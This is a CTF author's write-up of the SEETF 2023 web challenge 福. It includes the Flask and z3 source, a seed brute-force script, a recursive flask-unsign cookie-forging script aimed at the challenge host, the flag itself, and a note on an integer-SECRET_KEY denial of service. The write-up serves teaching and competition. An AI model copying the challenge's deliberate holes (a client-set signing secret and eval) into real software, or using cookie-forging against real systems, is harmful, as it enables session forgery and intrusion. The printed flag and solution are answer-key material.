🧧SEETF 2023: 福

Recursively sign a flask session cookie to satisfy a math problem

Description

░░░░█▐▄▒▒▒▌▌▒▒▌░▌▒▐▐▐▒▒▐▒▒▌▒▀▄▀▄░
░░░█▐▒▒▀▀▌░▀▀▀░░▀▀▀░░▀▀▄▌▌▐▒▒▒▌▐░
░░▐▒▒▀▀▄▐░▀▀▄▄░░░░░░░░░░░▐▒▌▒▒▐░▌            福福福福!
░░▐▒▌▒▒▒▌░▄▄▄▄█▄░░░░░░░▄▄▄▐▐▄▄▀░░
░░▌▐▒▒▒▐░░░░░░░░░░░░░▀█▄░░░░▌▌░░░
▄▀▒▒▌▒▒▐░░░░░░░▄░░▄░░░░░▀▀░░▌▌░░░
▄▄▀▒▐▒▒▐░░░░░░░▐▀▀▀▄▄▀░░░░░░▌▌░░░
░░░░█▌▒▒▌░░░░░▐▒▒▒▒▒▌░░░░░░▐▐▒▀▀▄
░░▄▀▒▒▒▒▐░░░░░▐▒▒▒▒▐░░░░░▄█▄▒▐▒▒▒
▄▀▒▒▒▒▒▄██▀▄▄░░▀▄▄▀░░▄▄▀█▄░█▀▒▒▒▒

Author: jeyas Category: Web Flag: SEE{H0w_f0rtun4T3_Y3t_An0theR__FL4sk_UnSigN_} Difficulty: Easy

It all started from this tweet by @sahuang97 about z3 and crypto CTF challenges.

z3 is too strong, author making a difficult CTF Crypto challenge probably should test against SMT if they do not wish unintended to happen (i.e. solve without deep understanding/diff analysis of the cryptosystem)? Any thought on this?

— sahuang (@sahuang97) March 2, 2023

For those who don't do crypto challenges, z3 is a (Satisfiability Modulo Theories) solver that basically takes in logical problems and determines if there's a solution (satisfiable) or not (unsatisfiable). Because crypto challenges usually involve decrypting or breaking some sort of encoded/ciphered text, these challenges can be translated into a set of logical problems, where each problem is finding a key or part of a key.

Who let bro cook?

After reading the tweet, I decided to play around with z3. I soon discovered that while z3 can find solutions, it may not always be the one you want. This got me thinking about creating a web challenge that would reverse this approach. Instead of using z3 to find the solution, participants would already know the solution and try to force z3 to calculate it.

I thought this concept was pretty interesting. You have this tool that typically takes shortcuts to find any solution, but you're trying to do the opposite of what it was made to do. To me, it felt like coaxing a fortune teller to tell you that you have good fortune -so I named the challenge 福 .

And so, with far too much bravado, I whipped up a terrible Proof-of-Concept and posted it on the Social Engineering Experts discord.

I know the code looks very very bad. In my defense, I wrote it very late at night and I didn't think it would actually be a challenge.

Normally, this would have just ended here. Another crazy idea for the wastebasket. However, zeyu replied and didn't say it was the worst thing he ever saw.

imagine reading the worst code ever and saying such nice things, thank you.

At this point, I (dubiously) decided that this idea was worth pursuing and decided to actually make this a web challenge. However I still had one thing to figure out: what's were my victims players supposed to solve?

To the best of my knowledge, there had not been a web ctf involving z3 in the backend (thank god), so I was kinda stumped as to how I wanted players to exploit this challenge.

Well, I knew I wanted to use flask, because I was most comfortable with python and I could use z3-solver as a module for the backend. I also knew that I wanted players to solve an equation and derive 31119, so eval(chr(31119)) could read the 福 variable. (the flag)

At first, I thought of making the equation ridiculously hard (Sum of three cubes problem), but thankfully, saner thoughts prevailed.

I took a look at CTF writeups involving flask web applications and almost all of them involved SSTI or leaking the flask session cookie signing secret and using flask-unsign to sign your own session cookies.

I thought this was pretty boring. To me, using {{7*7}} and bruteforcing session cookies seemed pretty much like every other challenge out there.

After a lot of pondering, and serious consideration on whether I should kill this project, I decided to turn the turntables again. If flask challenges were usually about leaking the session cookie signing secret, I would let the players set the signing secrets themselves.

Solution

The flag is stored as a variable with the 福 (fú) character, which has a charcode of 31119.

We'll be looking to set result to 31119 so return eval(chr(result)) prints the flag.

with open('flag.txt') as flag:
	contents = flag.read()
	福 = contents.strip()

#------------> Snip!

	if result is not None:
		return eval(chr(result))
	else:
		return 'Bad Luck.'

The /福 endpoint only accepts POST requests and a single key parameter. This is then set to app.config['SECRET_KEY'], which is what flask uses to sign session cookies.

While the app.config['SECRET_KEY'] is not necessary for decoding session keys. The secret used to sign session cookies must equal app.config['SECRET_KEY'] for it to be considered as the session object.

keys = []

#------------> Snip!

@app.route('/福', methods=['POST'])
def fortold():
	keys.clear()
	start = request.form.get('key')
	app.config['SECRET_KEY'] = start
	replace_secret_key()

	value = [secret(key) for key in keys]
	result = solve(*value)

	if result is not None:
		return eval(chr(result))
	else:
		return 'Bad Luck.'

Just leak the SECRET_KEY... oh wait.

Essentially, the replace_secret_key() function is a recursive function that stores the session['key'] attribute and updates itself with the sesssion['session'] attribute. It does so until the session['key'] attribute is in the keys array and has the session['end'] attribute.

def replace_secret_key():
	if 'key' in session and session['key'] not in keys:
		keys.append(session['key'])
		app.config["SECRET_KEY"] = session['key']
	if 'session' in session and 'end' not in session:
		new_session = session['session']
		session.update(decrypt_cookie(new_session))
		replace_secret_key()

Wait... secret?

Next, the values of key are passed to the secret() function. These values are used to set the random.seed and generate a random integer from 8 to 88888 (inclusive). These values are then passed to the solve() function

def secret(key):
	random.seed(key)
	return random.randint(8, 88888)

solve()-ing the challenge

The solve() function uses z3 to check if the 5 values:

$a,b,c,d,f$

pass to the solve() function satisfy the equation:

$8 \le a,b,c,d,e,f \le 88888, \quad a,b,c,d,e,f \in \mathbb{Z}^+$

$(a^3) \cdot (b^2 + c^2) \cdot (2d + 1) = e^3 + f^3$

As e is returned by the function, this implies that:

$e = 31119, e < f$

z3 will "assign" the lower values to the variables on the left and higher values to the variables on the right.

Remember that secret() can only generate values between 8 and 88888, so those are the bounds.

def solve(a_value, b_value, c_value, d_value, f_value):
	# Create the variables
	a, b, c, d, e, f = Ints('a b c d e f')

	# Set the relationships between the variables
	constraints = [And(8 <= v) for v in [a, b, c, d, e, f]]
	constraints += [a == a_value] 
	constraints += [b == b_value]
	constraints += [c == c_value]
	constraints += [d == d_value]
	constraints += [f == f_value]
	constraints += [(a ** 3) * (b**2 + c**2) * (2*d + 1) == (e**3) + (f**3)]

	# Find a satisfying solution
	s = Solver()
	s.add(constraints)
	if s.check() == sat:
		m = s.model()
		return int(m[e].as_long())
	else:
		return None

There are many solutions to this problem( the simplest using prime factorization). For the purposes of this solution, I will be using

$f = 88888$

which yields

$a = 41, b = 1728, c = 803, d = 1463$

What an auspicious value! 😊🧧

Tying it all together

First I'll use itertools to find valid seeds that generate the correct math variables.

import random
import itertools

def secret(value):
	random.seed(value)
	return random.randint(8, 88888)

values_to_find = [41, 1728, 803, 1463, 88888]
found_values = []

for combination in itertools.product('abcdefghijklmnopqrstuvwxyz', repeat=4):
	input_value = ''.join(combination)
	result = secret(input_value)
	if result in values_to_find:
		found_values.append(input_value)
		values_to_find.remove(result)
		print(result)
	if not values_to_find:
		print("Found all four values at index:", found_values)
		break

'''
cdsn:41
aqoi:1728
ewmu:803
aucl:1463
bphi:88888
'''

Next I'll use flask-unsign to recursively sign a flask session key.

import requests
import subprocess

SECRET_KEYS = ["cdsn","aqoi","ewmu","aucl","bphi"]

def generate_cookie(secret_key,index=0):
	if index == len(SECRET_KEYS):
		cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"end": "' + secret_key + '"}', '--secret', secret_key])
		return cmd_out.decode('utf-8').strip()
	else:
		session_hash = generate_cookie(SECRET_KEYS[index], index+1)
		cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"key": "' + SECRET_KEYS[index] + '","session":"' + session_hash + '"}', '--secret', secret_key])
		return cmd_out.decode('utf-8').strip()

cookie = {'session' : generate_cookie(SECRET_KEYS[0])}
data = {"key":'cdsn'}
response = requests.post('http://福.web.seetf.sg:1337/%E7%A6%8F', cookies=cookie, data=data, proxies={'http':'http://localhost:8080'})

print(response.text)

'''
cdsn:41
aqoi:1728
ewmu:803
aucl:1463
bphi:88888
'''

Finally, I can send a POST request to /福 with my cookie!

Ticket

During the CTF I got a ticket from Elma. Apparently, their solution was deriving 31119, but Flask just wasn't returning the flag. In fact, when zeyu checked the instance, even our intended solve script stopped working. Unfortunately, the CTF concluded before I could respond to Elma's ticket, but I promised to take a closer look at their solve script. Well, the problem with the solve script was that Elma used integers as seeds for the key instead of strings. Flask uses hmac.py for signing/unsigning session cookies, and the new() function expects a bytearray or bytes. When app.config["SECRET_KEY"] is set to an integer, an error is raised and Flask responds with a 500 Error even though it's supposed to return the flag.

In fact, this causes DOS for any request involving session cookies as Flask throws this error when trying to unsign session cookies.

CVE-2023-jk: DOS in Flask by setting app.config["SECRET_KEY"] to integer

Retrospect

Looking back, I think this was an okay first attempt at writing a challenge. I learned a lot about how docker and docker-compose, as well as about CTF challenge infrastructure. I think the idea of using z3 and allowing players to sign their own key was nice. I'm glad I didn't make the equation any harder than it is because as my fellow CTF team member Jules mentioned: If I made it any harder then it should be a crypto challenge.

Unfortunately, time constraints were a big issue. If the challenged felt rushed or not well thought out, that's because it was. At that time, I was busy studying for the OSWE, and whipped out the challenge in a day.

Conclusion

I'd like to offer my heartfelt thanks to Zeyu and the rest of the members from SEE for organizing SEETF! It was an incredible experience that I'll cherish.

maybe the real 福 was the friends we made along the way